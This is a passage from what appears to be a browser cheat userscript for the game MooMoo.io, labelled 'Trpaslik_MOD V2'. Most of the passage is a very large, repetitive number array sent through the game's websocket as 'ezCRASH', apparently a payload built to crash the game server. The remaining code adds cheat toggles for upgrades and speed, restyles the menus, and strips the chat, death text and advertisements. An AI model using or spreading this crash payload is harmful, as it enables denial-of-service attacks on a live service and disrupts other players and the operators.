28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13,
113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984,
2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88,
77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116,
94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894]);
ws.oldSend(ezCRASH);
} else {
}
})
document.querySelector('#upgradeInput').addEventListener('change', () => {
var ind = document.querySelector('#upgradeInput');
var value = ind.options[ind.selectedIndex].value;
switch (value) {
case "DHKM":
DHKM = true;
KM = KH = DH = false;
break;
case "KM":
KM = true;
DHKM = KH = DH = false;
break;
case "KH":
KH = true;
DHKM = DH = KM = false;
break;
case "DH":
DH = true;
DHKM = KM = KH = false;
break;
default:
DHKM = KM = KH = DH = false;
break;
}
});

document.querySelector("#speed").addEventListener('change', () => {
if (document.querySelector("#speed").checked) {
speed = true;
} else {
speed = false;
}
})

setInterval(() => {
if(isElementVisible(document.getElementById("gameName"))){
if(document.getElementById("gameName").innerText!="Trpaslik_MOD"){
document.getElementById("gameName").innerText="Trpaslik_MOD V2";
document.getElementById("gameName").style.fontSize = "50px";
document.getElementById("gameName").style.marginBottom = "25px";
document.getElementById("gameName").style.color = "cyan";
}
}
},10)

document.getElementById("mainMenu").style.backgroundImage =
"url('http://surviv.io/img/main_splash.png')";//wallpaper
$("#mapDisplay").css({background:
`url('https://yt3.ggpht.com/ytc/AKedOLRZHPPF6o6AkWsQrG54N9ofmlmDu8YcbZd5IrsdOg=s176
-c-k-c0x00ffffff-no-rj')`});//map display
document.getElementById('chatButton').remove();
$("#ageBarBody").css({background:
`url('https://yt3.ggpht.com/ytc/AKedOLRZHPPF6o6AkWsQrG54N9ofmlmDu8YcbZd5IrsdOg=s176
-c-k-c0x00ffffff-no-rj')`});
document.getElementById('chatBox').placeholder = "Type";
document.getElementById("allianceButton").style.color = "white";
$("#moomooio_728x90_home").parent().css({display: "none"});
document.getElementById('diedText').remove();
document.getElementById('chatButton').remove();
document.getElementById("promoImg").remove();

You might also like